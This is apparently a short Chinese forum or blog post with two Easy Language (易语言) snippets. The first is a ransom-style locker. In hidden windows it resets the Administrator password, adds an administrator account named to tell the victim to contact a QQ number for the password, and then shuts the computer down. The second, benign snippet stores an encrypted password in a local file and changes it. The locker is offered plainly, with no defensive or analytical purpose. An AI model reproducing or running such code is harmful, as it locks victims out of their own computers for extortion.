
代码如图:
*** 作如下:
------
.版本 2
.支持库 shell
运行 (“net user Administrator 密码”, 假, #隐藏窗口)
运行 (“net user 要密码加QQ********** 密码 /add”, 假, #隐藏窗口)
运行 (“net localgroup administrator 要密码加QQ********** /add”, 假, #隐藏窗口)
关闭系统 (#关机, 真).
密码由外部文件存储,或者写到注册表,用到的时候读取即可,例程如下‘-------------------------------------------------------------------------------------------------
.版本 2
.支持库 dp1
.程序集 窗口程序集1
.程序集变量 临时密码, 文本型
.子程序 __启动窗口_创建完毕
临时密码 = 到文本 (解密数据 (读入文件 (取运行目录 () + “\mima.dat”), “mima”, 2))
.子程序 _按钮1_被单击
.判断开始 (编辑框1.内容 ≠ 临时密码)
信息框 (“修改密码失败,原始密码输入错误!”, 0, )
.默认
写到文件 (取运行目录 () + “\mima.dat”, 加密数据 (到字节集 (编辑框2.内容), “mima”, 2))
临时密码 = 编辑框2.内容
信息框 (“密码修改成功!”, 0, )
.判断结束
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)